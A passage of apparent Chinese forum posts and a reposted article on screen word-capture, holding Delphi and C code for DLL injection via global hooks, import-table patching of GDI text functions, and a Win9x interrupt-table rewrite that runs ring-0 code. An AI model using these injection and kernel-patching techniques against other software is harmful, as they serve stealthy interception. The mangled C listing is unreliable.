Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls;

type

TForm1 = class(TForm)

Button1: TButton;

Button2: TButton;

procedure Button1Click(Sender: TObject);

procedure Button2Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure StartHook; stdcall; external 'PigLatinDll.DLL';

procedure StopHook; stdcall; external 'PigLatinDll.DLL';

procedure TForm1.Button1Click(Sender: TObject);

begin

WindowState:=wsMaximized;

StartHook;

Sleep(1000);

WindowState:=wsNormal;

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

WindowState:=wsMaximized;

StopHook;

Sleep(1000);

WindowState:=wsNormal;

end;

initialization

finalization

StopHook;

end.


APIHOOK

tseug, 时间：2001-5-23 15:20:39, ID：539139

参考下面的吧

数据定义单元

unit DefUnit;

interface

uses

Messages, Windows;

const

WM_GETWORD = WM_USER + Ord('Y') + Ord('y') + Ord('g') + Ord('w');

csMappingFileName = 'Mapping File By Yygw'; //内存映象名

csMaxStringLen = 64; //最大字符串长度

csCodeSize = 4096; //加载到内存映象视图的代码长度

csJmpCode = $E9; //跳转指令机器码

csGdiName = 'GDI32'; //GDI32.DLL

csApiFunName = 'ExtTextOutA'; //函数名

csUserName = 'HOOK_DLL'; //用户DLL名

csUserFunName = 'MyExtTextOutA'; //用户函数名

type

TIDT = array [0..5] of Byte; //IDT表

TLongJump = packed record //跳转指令

JmpOp: Byte; //操作码

Addr: Pointer; //地址

end;

PShareMem = ^TShareMem;

TShareMem = packed record

//以下参数面向主程序

hProcWnd: HWND; //应用程序主窗口

hHookWnd: HWND; //当前挂钩窗口

hProc: THandle; //应用程序进程ID

pMouse: TPoint; //鼠标位置

HookDelay: Cardinal; //取词延时（ms）

Enabled: Boolean; //允许取词

lpText: array[0..csMaxStringLen] of Char; //当前取到的词

TextRect: TRect; //当前文本框

//以下参数内部使用

lpOldExtTextOutA: Pointer; //旧函数入口

lpNewExtTextOutA: Pointer; //自定义函数入口

lpRing0_WriteMemory: Pointer; //挂接函数入口

lpOldRing0_WriteMemory: Pointer; //旧代码入口

AllowTake: Boolean; //可以取词

OldCode: TLongJump; //旧函数代码

NewCode: TLongJump; //跳转代码

lpSour, lpDes: Pointer; //内存复制地址

lpOldGate: DWord; //旧中断门入口

IDT: TIDT; //IDT数据

Code: array [0..csCodeSize - 1] of Byte; //代码区

end;

const

SizeOfLongJump = SizeOf(TLongJump);

var

pShMem: pShareMem; //指向一块＞2G的共享地址

implementation

end.

//Api挂接单元，需调试

unit ApiHook;

interface

uses

Messages, Windows;

function InitApiHook: Boolean; //初始化挂接

function InstallApi: Boolean; //挂接ExtTextOutA

function UnInstallApi: Boolean; //卸去挂接

function CloseApiHook: Boolean; //关闭挂接

implementation

uses

DefUnit;

var

pHookMem: PShareMem; //伪指针，实际代码中被替换为pShMem

hMappingFile: THandle; //映象文件句柄

Inited: Boolean; //已初始化

Hooked: Boolean; //已挂接

const

csExceptionUsed = 5; //中断号

//跳到Ring0修改内存的过程

//源地址和目标地址放在pShMem^.lpSour和lpDes中

//实际代码被加载到pShMem^.Code中可由所有进程共享调用运行

//内部的pHookMem被替换为pShMem的值

procedure Ring0_WriteMemory;

asm

PUSHA //保存现场

LEA EAX, pHookMem

SIDT TShareMem([EAX]).IDT //获取 IDT

MOV EBX, DWORD PTR [TShareMem([EAX]).IDT + 2]

ADD EBX, 8 * csExceptionUsed //Ebx -> IDT 中 csExceptionUsed 中断入口

CLI //清中断

MOV DX, WORD PTR [EBX + 6] //保存中断门高字

SHL EDX, 16

MOV DX, WORD PTR [EBX] //低字

MOV DWORD PTR [TShareMem([EAX]).lpOldGate], EDX

//计算实际运行的代码和原代码的地址差

MOV ECX, DWORD PTR [TShareMem([EAX]).lpRing0_WriteMemory]

SUB ECX, DWORD PTR [TShareMem([EAX]).lpOldRing0_WriteMemory]

LEA EAX, @Ring0Code //"安装挂钩" - 用户中断门

ADD EAX, ECX //获得运行代码的@Ring0Code地址

MOV WORD PTR [EBX], AX //低字

SHR EAX, 16

MOV WORD PTR [EBX + 6], AX //高字

DB $CD, csExceptionUsed //INT csExceptionUsed 的机器码

//触发中断跳到Ring0代码

LEA EAX, pHookMem

MOV EBX, DWORD PTR [TShareMem([EAX]).IDT + 2] //恢复中断门

ADD EBX, 8 * csExceptionUsed

MOV EDX, DWORD PTR [TShareMem([EAX]).lpOldGate]

MOV WORD PTR [EBX], DX

SHR EDX, 16

MOV WORD PTR [EBX +6], DX

JMP @Exit

@Ring0Code: //运行在Ring0下的代码

CLI

LEA EAX, pHookMem

MOV EBX, TShareMem[EAX].lpSour //源地址

MOV EDX, TShareMem[EAX].lpDes //目标地址

MOV ECX, SizeOfLongJump

@Loop:

MOV AL, [EBX] //内存复制

MOV [EDX], AL

INC EBX

INC EDX

LOOP @Loop

IRETD //返回到Ring3

@Exit:

POPA //恢复现场

end;

//用户的ExtTextOutA函数

//实际代码被加载到pShMem^.Code中可由所有进程共享调用运行

//内部的pHookMem被替换为pShMem的值

procedure MyExtTextOutA;

asm

PUSH EBP

MOV EBP, ESP

//以下代码用SoftICE跟踪调试时正常

//但实际使用时在窗口最小化或鼠标指向快速启动栏时死机

{PUSH EBX

PUSH ECX

PUSH EDX

PUSH ESI

PUSH EDI

//恢复原ExtTextOutA代码

LEA EAX, pHookMem

LEA EBX, TShareMem([EAX]).OldCode //旧函数代码

MOV TShareMem([EAX]).lpSour, EBX

MOV EBX, TShareMem([EAX]).lpOldExtTextOutA //旧函数入口

MOV TShareMem([EAX]).lpDes, EBX

MOV EBX, TShareMem([EAX]).lpRing0_WriteMemory

CALL EBX //调用Ring0_WriteMemory恢复原函数代码

//调用原ExtTextOutA

MOV EAX, [EBP + $24] //lpDx

PUSH EAX

MOV EAX, [EBP + $20] //cbCount

PUSH EAX

MOV EAX, [EBP + $1C] //lpString

PUSH EAX

MOV EAX, [EBP + $18] //lprc

PUSH EAX

MOV EAX, [EBP + $14] //fuOptions

PUSH EAX

MOV EAX, [EBP + $10] //Y

PUSH EAX

MOV EAX, [EBP + $0C] //X

PUSH EAX

MOV EAX, [EBP + $08] //hdc

PUSH EAX

LEA EAX, pHookMem

MOV EBX, TShareMem([EAX]).lpOldExtTextOutA

CALL EBX

PUSH EAX //返回结果

//重新挂接ExtTextOutA

LEA EAX, pHookMem

LEA EBX, TShareMem([EAX]).NewCode //跳转指令

MOV TShareMem([EAX]).lpSour, EBX

MOV EBX, TShareMem([EAX]).lpOldExtTextOutA //原函数入口

MOV TShareMem([EAX]).lpDes, EBX

MOV EBX, TShareMem([EAX]).lpRing0_WriteMemory

CALL EBX //调用Ring0_WriteMemory重新挂接

POP EAX

POP EDI

POP ESI

POP EDX

POP ECX

POP EBX}

MOV EAX, False //调试时用，返回假

@Exit:

POP EBP //返回

RET $20

end;

//安装Api挂钩

function InstallApi: Boolean;

var

pHookCode: Pointer; //要加载到pShMem^.Code中的代码入口

CodeSize: Integer; //实际代码长度

pInt: PInteger; //指向一个32位整数

i: Integer;

Ring0Fun: Pointer; //实际的Ring0_WriteMemory入口

begin

Result := False;

if Hooked or not Inited then

Exit; //已挂接过或未初始化

Hooked := False;

pShMem^.lpOldExtTextOutA := GetProcAddress(GetModuleHandle(csGdiName),

csApiFunName); //原函数入口

if pShMem^.lpOldExtTextOutA <> nil then

begin

//pShMem^.lpOldExtTextOutA := Pointer($BFF21CB8);

//我的机器上有别的挂钩程序，得不到ExtTextOutA的正确地址，只好手动修改

pHookCode := @Ring0_WriteMemory; //要加载到pShMem^.Code的代码入口

CodeSize := Cardinal(@InstallApi) - Cardinal(@Ring0_WriteMemory);

CopyMemory(@pShMem^.Code, pHookCode, CodeSize); //复制代码

for i := 0 to CodeSize - 1 do

if Cardinal((@pShMem^.Code[i])^) = Cardinal(@pHookMem) then

begin

pInt := @pShMem^.Code[i]; //查找代码中的pHookMem并将它替换为pShMem

pInt^ := Cardinal(pShMem);

end;

pShMem^.lpRing0_WriteMemory := @pShMem^.Code; //Ring0_WriteMemory入口

pShMem^.lpOldRing0_WriteMemory := @Ring0_WriteMemory; //原始代码入口

pShMem^.lpNewExtTextOutA := Pointer(Cardinal(@pShMem^.Code) +

Cardinal(@MyExtTextOutA) - Cardinal(@Ring0_WriteMemory)); //用户ExtTextOutA入口

CopyMemory(@pShMem^.OldCode, pShMem^.lpOldExtTextOutA, SizeOf(TLongJump)); //保存原函数代码

pShMem^.NewCode.JmpOp := csJmpCode; //产生跳转代码

pShMem^.NewCode.Addr := Pointer(Cardinal(pShMem^.lpNewExtTextOutA) -

Cardinal(pShMem^.lpOldExtTextOutA) - SizeOf(TLongJump));

pShMem^.lpSour := @pShMem^.NewCode; //新跳转代码

pShMem^.lpDes := pShMem^.lpOldExtTextOutA; //原函数入口

Ring0Fun := pShMem^.lpRing0_WriteMemory; //Ring0_WriteMemory入口

asm

MOV EAX, Ring0Fun //挂接MyExtTextOutA

CALL EAX

end;

Result := True;

Hooked := True;

end;

end;

//释放Api挂钩

function UnInstallApi: Boolean;

var

Ring0Fun: Pointer; //实际的Ring0_WriteMemory入口

begin

if not Hooked then

begin

Result := False;

Exit;

end;

pShMem^.Enabled := False;

pShMem^.AllowTake := False;

pShMem^.lpSour := @pShMem^.OldCode; //原函数代码

pShMem^.lpDes := pShMem^.lpOldExtTextOutA; //原函数入口

Ring0Fun := pShMem^.lpRing0_WriteMemory; //Ring0_WriteMemory入口

asm

MOV EAX, Ring0Fun //恢复原函数代码

CALL EAX

end;

Hooked := False;

Result := True;

end;

//创建内存映象文件，初始化Api挂接环境

function InitApiHook: Boolean;

begin

Inited := False;

Hooked := False;

hMappingFile := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0,

SizeOf(TShareMem), PChar(csMappingFileName)); //文件映象

if hMappingFile <> 0 then

begin

pShMem := PShareMem(MapViewOfFile(hMappingFile, FILE_MAP_WRITE, 0, 0, 0));

if pShMem <> nil then //映射视图，得到一块地址＞2G被所有进程共享的空间

begin

ZeroMemory(pShMem, SizeOf(TShareMem)); //数据块清零

Inited := True;

end else begin

CloseHandle(hMappingFile); //无法创建内存块

MessageBox(GetCurrentProcess, 'Cannot create the Share Memory Block!'

, 'Error', MB_OK)

end;

end

else

MessageBox(GetCurrentProcess, 'Cannot create the Share Memory Block!'

, 'Error', MB_OK); //无法创建文件映象

Result := Inited;

end;

//关闭映象文件，释放共享内存块

function CloseApiHook: Boolean;

begin

if not Inited then

begin

Result := False;

Exit;

end;

UnInstallApi; //取消挂接

UnMapViewOfFile(pShMem); //释放内存块

CloseHandle(hMappingFile); //关闭句柄

Inited := False;

Result := True;

end;

end.

测试用主窗口单元

unit MainFrm;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls;

type

TMainForm = class(TForm)

cbHook: TCheckBox;

procedure FormCreate(Sender: TObject);

procedure FormDestroy(Sender: TObject);

procedure cbHookClick(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

MainForm: TMainForm;

implementation

uses ApiHook;

{$R *.DFM}

procedure TMainForm.FormCreate(Sender: TObject);

begin

InitApiHook;

InstallApi;

end;

procedure TMainForm.FormDestroy(Sender: TObject);

begin

CloseApiHook;

end;

procedure TMainForm.cbHookClick(Sender: TObject);

begin

if cbHook.Checked then

InstallApi

else

UnInstallApi;

end;

end.


屏幕抓词的技术实现

屏幕抓词的技术实现

周天舒

    屏幕上的文字大都是由gdi32.dll的以下几个函数显示的：TextOutA、TextOutW、ExtTextOutA、ExtTextOutW。实现屏幕抓词的关键就是截获对这些函数的调用，得到程序发给它们的参数。

    我的方法有以下三个步骤：

    一、得到鼠标的当前位置

    通过SetWindowsHookEx实现。

    二、向鼠标下的窗口发重画消息，让它调用系统函数重画

    通过WindowFromPoint，ScreenToClient，InvalidateRect 实现。

    三、截获对系统函数的调用，取得参数(以TextOutA为例)

    1.仿照TextOutA作成自己的函数MyTextOutA，与TextOutA有相同参数和返回值，放在系统钩子所在的DLL里。

    SysFunc1=(DWORD)GetProcAddress(GetModuleHandle("gdi32.dll"),"TextOutA");

    BOOL WINAPI MyTextOutA(HDC hdc, int nXStart, int nYStart, LPCSTR lpszString,int cbString)

    { //输出lpszString的处理

return ((FARPROC)SysFunc1)(hdc,nXStart,nYStart,lpszString,cbString);}

    2.由于系统鼠标钩子已经完成注入其它GUI进程的工作，我们不需要为注入再做工作。

    如果你知道所有系统钩子的函数必须要在动态库里，就不会对“注入”感到奇怪。当进程隐式或显式调用一个动态库里的函数时，系统都要把这个动态库映射到这个进程的虚拟地址空间里(以下简称“地址空间”)。这使得DLL成为进程的一部分，以这个进程的身份执行，使用这个进程的堆栈(见图1)。

    图1 DLL映射到虚拟地址空间中

    对系统钩子来说，系统自动将包含“钩子回调函数”的DLL映射到受钩子函数影响的所有进程的地址空间中，即将这个DLL注入了那些进程。

    3.当包含钩子的DLL注入其它进程后，寻找映射到这个进程虚拟内存里的各个模块（EXE和DLL）的基地址。EXE和DLL被映射到虚拟内存空间的什么地方是由它们的基地址决定的。它们的基地址是在链接时由链接器决定的。当你新建一个Win32工程时，VC＋＋链接器使用缺省的基地址0x00400000。可以通过链接器的BASE选项改变模块的基地址。EXE通常被映射到虚拟内存的0x00400000处，DLL也随之有不同的基地址，通常被映射到不同进程的相同的虚拟地址空间处。

    如何知道EXE和DLL被映射到哪里了呢？

    在Win32中，HMODULE和HINSTANCE是相同的。它们就是相应模块被装入进程的虚拟内存空间的基地址。比如：

    HMODULE hmodule=GetModuleHandle(″gdi32.dll″);

    返回的模块句柄强制转换为指针后，就是gdi32.dll被装入的基地址。

    关于如何找到虚拟内存空间映射了哪些DLL？我用如下方式实现：

while(VirtualQuery (base, ＆mbi, sizeof (mbi))〉0)

{ if(mbi.Type==MEM-IMAGE)

ChangeFuncEntry((DWORD)mbi.BaseAddress,1);

base=(DWORD)mbi.BaseAddress＋mbi.RegionSize; }

    4.得到模块的基地址后，根据PE文件的格式穷举这个模块的IMAGE-IMPORT-DESCRIPTOR数组，看是否引入了gdi32.dll。如是，则穷举IMAGE-THUNK-DATA数组，看是否引入了TextOutA函数。

    5.如果找到，将其替换为相应的自己的函数。

    系统将EXE和DLL原封不动映射到虚拟内存空间中，它们在内存中的结构与磁盘上的静态文件结构是一样的。即PE (Portable Executable) 文件格式。

    所有对给定API函数的调用总是通过可执行文件的同一个地方转移。那就是一个模块(可以是EXE或DLL)的输入地址表(import address table)。那里有所有本模块调用的其它DLL的函数名及地址。对其它DLL的函数调用实际上只是跳转到输入地址表，由输入地址表再跳转到DLL真正的函数入口。例如：

    图2 对MessageBox()的调用跳转到输入地址表，从输入地址表再跳转到MessageBox函数

    IMAGE-IMPORT-DESCRIPTOR和IMAGE-THUNK-DATA分别对应于DLL和函数。它们是PE文件的输入地址表的格式（数据结构参见winnt.h）。

    BOOL ChangeFuncEntry(HMODULE hmodule)

    { PIMAGE-DOS-HEADER pDOSHeader;

    PIMAGE-NT-HEADERS pNTHeader;

    PIMAGE-IMPORT-DESCRIPTOR pImportDesc;

/get system functions and my functions′entry/

    pSysFunc1=(DWORD)GetProcAddress(GetModuleHandle(″gdi32.dll″),″TextOutA″);

    pMyFunc1= (DWORD)GetProcAddress(GetModuleHandle(″hookdll.dll″),″MyTextOutA″);

pDOSHeader=(PIMAGE-DOS-HEADER)hmodule;

    if (IsBadReadPtr(hmodule, sizeof(PIMAGE-NT-HEADERS)))

     return FALSE;

    if (pDOSHeader－〉e-magic != IMAGE-DOS-SIGNATURE)

     return FALSE;

    pNTHeader=(PIMAGE-NT-HEADERS)((DWORD)pDOSHeader＋(DWORD)pDOSHeader－〉e-lfanew);

    if (pNTHeader－〉Signature != IMAGE-NT-SIGNATURE)

     return FALSE;

    pImportDesc = (PIMAGE-IMPORT-DESCRIPTOR)((DWORD)hmodule＋(DWORD)pNTHeader－〉OptionalHeader.DataDirectory

     [IMAGE-DIRECTORY-ENTRY-IMPORT].VirtualAddress);

    if (pImportDesc == (PIMAGE-IMPORT-DESCRIPTOR)pNTHeader)

return FALSE;

    while (pImportDesc－〉Name)

    { PIMAGE-THUNK-DATA pThunk;

    strcpy(buffer,(char)((DWORD)hmodule＋(DWORD)pImportDesc－〉Name));

CharLower(buffer);

if(strcmp(buffer,"gdi32.dll"))

{ pImportDesc＋＋;

continue;

}else

{ pThunk=(PIMAGE-THUNK-DATA)((DWORD)hmodule＋(DWORD)pImportDesc－〉FirstThunk);

while (pThunk－〉u1.Function)

{ if ((pThunk－〉u1.Function) == pSysFunc1)

{ VirtualProtect((LPVOID)(＆pThunk－〉u1.Function),

     sizeof(DWORD),PAGE-EXECUTE-READWRITE, ＆dwProtect);

     (pThunk－〉u1.Function)=pMyFunc1;

     VirtualProtect((LPVOID)(＆pThunk－〉u1.Function), sizeof(DWORD),dwProtect,＆temp); }

pThunk＋＋; } return 1;}}}

    替换了输入地址表中TextOutA的入口为MyTextOutA后，截获系统函数调用的主要部分已经完成，当一个被注入进程调用TextOutA时，其实调用的是MyTextOutA，只需在MyTextOutA中显示传进来的字符串，再交给TextOutA处理即可。


截获API函数

装载一篇文章，也许有用，但我在MSDN上没有查到IMAGE_IMPORT_DESCRIPTOR的结构，Kingron：你把它转成Delphi代码后记得给我发一份哦

====================================

下面是GoodHope的翻译：

// 我只是照着翻译了一下，可以编译通过。代码本身不全，所以没有进行任何的调试。

// 如果在格式对齐上有问题，请把Tab设为2。

unit x;

// 如何截获API函数(转）

// 该程序是基于HOOK原理,主要是将自己的函数放到目标PROCESS的地址空间,这里是使用HOOK实现.

// 首先建立一个MOUSE的HOOK程序,然后在全局鼠标HOOK的DLL中做截获动作,

// 可以在PROCESS_ATTACH时做,也可以在鼠标的HOOK链函数中做.

// 建立全局HOOK就不说了,可以在网上很多地方看到.主要是截获动作.

// 通过PE格式(使用IMAGE)改变API函数在调用时的地址.DLL部分参考如下代码:

interface

const

IMAGE_ORDINAL_FLAG64 = $8000000000000000;

IMAGE_ORDINAL_FLAG32 = $80000000;

{$IFDEF _WIN64}

IMAGE_ORDINAL_FLAG = IMAGE_ORDINAL_FLAG64;

{$ELSE}

IMAGE_ORDINAL_FLAG = IMAGE_ORDINAL_FLAG32;

{$ENDIF}

type

// 我定义了一个结构

tag_HOOKAPI = record

szFunc: LPCSTR;//待HOOK的API函数名

pNewProc: FARPROC;//新的函数指针

pOldProc: FARPROC;//老的函数指针

end;

HOOKAPI = tag_HOOKAPI;

LPHOOKAPI = ^HOOKAPI;

THookAPI = tag_HOOKAPI;

LONG = Longint;

ULONGLONG = Int64;

PSTR = LPSTR;

PVOID = Pointer;

// WinNT.h Begin;

{$ALIGN OFF}

{$IFDEF _WIN64}

ULONG_PTR = ULONGLONG;

PULONG_PTR = ^ULONG_PTR;

{$ELSE}

ULONG_PTR = LONG;

PULONG_PTR = ^ULONG_PTR;

{$ENDIF}

SIZE_T = ULONG_PTR;

PSIZE_T = ^SIZE_T;

tag_IMAGE_IMPORT_DESCRIPTOR = record

case Boolean of

False: (Characteristics: DWORD); // 0 for terminating null import descriptor

True: (OriginalFirstThunk: DWORD; // RVA to original unbound IAT (PIMAGE_THUNK_DATA)

TimeDateStamp: DWORD; // 0 if not bound,

// -1 if bound, and real datestamp

// in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)

// O.W. date/time stamp of DLL bound to (Old BIND)

ForwarderChain: DWORD; // -1 if no forwarders

Name: DWORD;

FirstThunk: DWORD; // RVA to IAT (if bound this IAT has actual addresses)

);

end;

IMAGE_IMPORT_DESCRIPTOR = tag_IMAGE_IMPORT_DESCRIPTOR;

PIMAGE_IMPORT_DESCRIPTOR = ^IMAGE_IMPORT_DESCRIPTOR;

tag_IMAGE_DOS_HEADER = record // DOS .EXE header

e_magic: WORD; // Magic number

e_cblp: WORD; // Bytes on last page of file

e_cp: WORD; // Pages in file

e_crlc: WORD; // Relocations

e_cparhdr: WORD; // Size of header in paragraphs

e_minalloc: WORD; // Minimum extra paragraphs needed

e_maxalloc: WORD; // Maximum extra paragraphs needed

e_ss: WORD; // Initial (relative) SS value

e_sp: WORD; // Initial SP value

e_csum: WORD; // Checksum

e_ip: WORD; // Initial IP value

e_cs: WORD; // Initial (relative) CS value

e_lfarlc: WORD; // File address of relocation table

e_ovno: WORD; // Overlay number

e_res:array[0..4-1]of

WORD; // Reserved words

e_oemid: WORD; // OEM identifier (for e_oeminfo)

e_oeminfo: WORD; // OEM information; e_oemid specific

e_res2:array[0..10-1]of

WORD; // Reserved words

e_lfanew: LONG; // File address of new exe header

end;

IMAGE_DOS_HEADER = tag_IMAGE_DOS_HEADER;

PIMAGE_DOS_HEADER = ^IMAGE_DOS_HEADER;

tag_IMAGE_FILE_HEADER = record

Machine: WORD;

NumberOfSections: WORD;

TimeDateStamp: DWORD;

PointerToSymbolTable: DWORD;

NumberOfSymbols: DWORD;

SizeOfOptionalHeader: WORD;

Characteristics: WORD;

end;

IMAGE_FILE_HEADER = tag_IMAGE_FILE_HEADER;

PIMAGE_FILE_HEADER = ^IMAGE_FILE_HEADER;

tag_IMAGE_DATA_DIRECTORY = record

VirtualAddress: DWORD;

Size: DWORD;

end;

IMAGE_DATA_DIRECTORY = tag_IMAGE_DATA_DIRECTORY;

PIMAGE_DATA_DIRECTORY = ^IMAGE_DATA_DIRECTORY;

tag_IMAGE_OPTIONAL_HEADER64 = record

Magic: WORD;

MajorLinkerVersion: BYTE;

MinorLinkerVersion: BYTE;

SizeOfCode: DWORD;

SizeOfInitializedData: DWORD;

SizeOfUninitializedData: DWORD;

AddressOfEntryPoint: DWORD;

BaseOfCode: DWORD;

ImageBase: ULONGLONG;

SectionAlignment: DWORD;

FileAlignment: DWORD;

MajorOperatingSystemVersion: WORD;

MinorOperatingSystemVersion: WORD;

MajorImageVersion: WORD;

MinorImageVersion: WORD;

MajorSubsystemVersion: WORD;

MinorSubsystemVersion: WORD;

Win32VersionValue: DWORD;

SizeOfImage: DWORD;

SizeOfHeaders: DWORD;

CheckSum: DWORD;

Subsystem: WORD;

DllCharacteristics: WORD;

SizeOfStackReserve: ULONGLONG;

SizeOfStackCommit: ULONGLONG;

SizeOfHeapReserve: ULONGLONG;

SizeOfHeapCommit: ULONGLONG;

LoaderFlags: DWORD;

NumberOfRvaAndSizes: DWORD;

DataDirectory:

array[0..IMAGE_NUMBEROF_DIRECTORY_ENTRIES-1]of IMAGE_DATA_DIRECTORY;

end;

IMAGE_OPTIONAL_HEADER64 = tag_IMAGE_OPTIONAL_HEADER64;

PIMAGE_OPTIONAL_HEADER64 = ^IMAGE_OPTIONAL_HEADER64;

tag_IMAGE_OPTIONAL_HEADER = record

//

// Standard fields.

//

Magic: WORD;

MajorLinkerVersion: BYTE;

MinorLinkerVersion: BYTE;

SizeOfCode: DWORD;

SizeOfInitializedData: DWORD;

SizeOfUninitializedData: DWORD;

AddressOfEntryPoint: DWORD;

BaseOfCode: DWORD;

BaseOfData: DWORD;

//

// NT additional fields.

//

ImageBase: DWORD;

SectionAlignment: DWORD;

FileAlignment: DWORD;

MajorOperatingSystemVersion: WORD;

MinorOperatingSystemVersion: WORD;

MajorImageVersion: WORD;

MinorImageVersion: WORD;

MajorSubsystemVersion: WORD;

MinorSubsystemVersion: WORD;

Win32VersionValue: DWORD;

SizeOfImage: DWORD;

SizeOfHeaders: DWORD;

CheckSum: DWORD;

Subsystem: WORD;

DllCharacteristics: WORD;

SizeOfStackReserve: DWORD;

SizeOfStackCommit: DWORD;

SizeOfHeapReserve: DWORD;

SizeOfHeapCommit: DWORD;

LoaderFlags: DWORD;

NumberOfRvaAndSizes: DWORD;

DataDirectory:array[0..IMAGE_NUMBEROF_DIRECTORY_ENTRIES-1]of

IMAGE_DATA_DIRECTORY;

end;

IMAGE_OPTIONAL_HEADER32 = tag_IMAGE_OPTIONAL_HEADER;

PIMAGE_OPTIONAL_HEADER32 = ^IMAGE_OPTIONAL_HEADER32;

tag_IMAGE_NT_HEADERS64 = record

Signature: DWORD;

FileHeader: IMAGE_FILE_HEADER;

OptionalHeader: IMAGE_OPTIONAL_HEADER64;

end;

IMAGE_NT_HEADERS64 = tag_IMAGE_NT_HEADERS64;

PIMAGE_NT_HEADERS64 = IMAGE_NT_HEADERS64;

tag_IMAGE_NT_HEADERS = record

Signature: DWORD;

FileHeader: IMAGE_FILE_HEADER;

OptionalHeader: IMAGE_OPTIONAL_HEADER32;

end;

IMAGE_NT_HEADERS32 = tag_IMAGE_NT_HEADERS;

PIMAGE_NT_HEADERS32 = ^IMAGE_NT_HEADERS32;

{$IFDEF _WIN64}

IMAGE_NT_HEADERS = IMAGE_NT_HEADERS64;

PIMAGE_NT_HEADERS = PIMAGE_NT_HEADERS64;

// IMAGE_FIRST_SECTION64(ntheader) IMAGE_FIRST_SECTION(ntheader)

{$ELSE}

IMAGE_NT_HEADERS = IMAGE_NT_HEADERS32;

PIMAGE_NT_HEADERS = PIMAGE_NT_HEADERS32;

//IMAGE_FIRST_SECTION32(ntheader) = IMAGE_FIRST_SECTION(ntheader);

{$ENDIF}

tag_IMAGE_IMPORT_BY_NAME = record

Hint: WORD;

Name: array[0..0]of BYTE;

end;

IMAGE_IMPORT_BY_NAME = tag_IMAGE_IMPORT_BY_NAME;

PIMAGE_IMPORT_BY_NAME = ^IMAGE_IMPORT_BY_NAME;

tag_U1_64 = record

case BYTE of

1: (ForwarderString: PBYTE;);

2: (Function_: PDWORD;);

3: (Ordinal: ULONGLONG;);

4: (AddressOfData: PIMAGE_IMPORT_BY_NAME;);

end;

tag_IMAGE_THUNK_DATA64 = record

u1: tag_U1_64;

end;

IMAGE_THUNK_DATA64 = tag_IMAGE_THUNK_DATA64;

PIMAGE_THUNK_DATA64 = ^IMAGE_THUNK_DATA64;

tag_U1_32 = record

case BYTE of

1: (ForwarderString: PBYTE; );

2: (Function_: PDWORD);

3: (Ordinal: DWORD);

4: (AddressOfData: PIMAGE_IMPORT_BY_NAME);

end;

tag_IMAGE_THUNK_DATA32 = record

u1: tag_U1_32;

end;

IMAGE_THUNK_DATA32 = tag_IMAGE_THUNK_DATA32;

PIMAGE_THUNK_DATA32 = ^IMAGE_THUNK_DATA32;

{$IFDEF _WIN64}

// IMAGE_ORDINAL64(Ordinal) = IMAGE_ORDINAL(Ordinal)

IMAGE_THUNK_DATA = IMAGE_THUNK_DATA64;

PIMAGE_THUNK_DATA = PIMAGE_THUNK_DATA64;

// IMAGE_SNAP_BY_ORDINAL64(Ordinal)IMAGE_SNAP_BY_ORDINAL(Ordinal)

//IMAGE_TLS_DIRECTORY = IMAGE_TLS_DIRECTORY64;

//PIMAGE_TLS_DIRECTORY = PIMAGE_TLS_DIRECTORY64

{$ELSE}

// IMAGE_ORDINAL32(Ordinal) =IMAGE_ORDINAL(Ordinal)

IMAGE_THUNK_DATA = IMAGE_THUNK_DATA32;

PIMAGE_THUNK_DATA = PIMAGE_THUNK_DATA32;

// IMAGE_SNAP_BY_ORDINAL32(Ordinal) = IMAGE_SNAP_BY_ORDINAL(Ordinal)

//IMAGE_TLS_DIRECTORY = IMAGE_TLS_DIRECTORY32

//PIMAGE_TLS_DIRECTORY = PIMAGE_TLS_DIRECTORY32

{$ENDIF}

{$ALIGN ON}

function GetNamedImportDescriptor(

hModule: HMODULE;

szImportMod: LPCSTR): PIMAGE_IMPORT_DESCRIPTOR; stdcall;

function HookAPIByName(

hModule: HMODULE; // 被HOOK的目标进程MODULE

szImportMod: LPCSTR; // 如GDI32.DLL

pHookApi: LPHOOKAPI // 指定函数名,如'MessageBoxW'

): Boolean; stdcall

implementation

//自己的MessageBoxW函数

function MyMessageBoxW(hWnd: HWND;

lpText: LPCWSTR; lpCaption: LPCWSTR; uType: UINT): Integer; stdcall;

begin

Result := MessageBox(hWnd, 'TNT'{lpText}, 'TNT'{lpCaption}, uType);

end;

function GetNamedImportDescriptor(

hModule: HMODULE;

szImportMod: LPCSTR): PIMAGE_IMPORT_DESCRIPTOR;

var

pDOSHeader: PIMAGE_DOS_HEADER;

pNTHeader: PIMAGE_NT_HEADERS;

pImageDataDirectory: PIMAGE_DATA_DIRECTORY;

pImportDesc: PIMAGE_IMPORT_DESCRIPTOR;

szCurrMod: PSTR;

begin

Result := nil;

//首先是DOS头

pDOSHeader := PIMAGE_DOS_HEADER(hModule);

if pDOSHeader.e_magic <> IMAGE_DOS_SIGNATURE then Exit;

pNTHeader :=

PIMAGE_NT_HEADERS(DWORD(pDOSHeader) + DWORD(pDOSHeader.e_lfanew));

if pNTHeader.Signature <> IMAGE_NT_SIGNATURE then Exit;

//如果没有Import部分,返回失败

pImageDataDirectory :=

@pNTHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];

if (pImageDataDirectory.VirtualAddress = 0) then Exit;

//取Import部分

pImportDesc := PIMAGE_IMPORT_DESCRIPTOR

(DWORD(pDOSHeader) + DWORD(pImageDataDirectory.VirtualAddress));

//寻找与szImportMod相配部分

while pImportDesc.Name <> 0 do

begin

szCurrMod := PSTR(DWORD(pDOSHeader) + DWORD(pImportDesc.Name));

if (CompareText(szCurrMod, szImportMod) = 0) then

Break; //找到

Inc(pImportDesc);

end;

if pImportDesc.Name <> 0 then

Result := pImportDesc;

end;

function HookAPIByName(

hModule: HMODULE;

szImportMod: LPCSTR;

pHookApi: LPHOOKAPI

): Boolean;

var

pImportDesc: PIMAGE_IMPORT_DESCRIPTOR;

pOrigThunk: PIMAGE_THUNK_DATA;

pRealThunk: PIMAGE_THUNK_DATA;

pByName: PIMAGE_IMPORT_BY_NAME;

mbi_thunk: TMemoryBasicInformation;

dwOldProtect: DWORD;

begin

Result := False;

pImportDesc :=

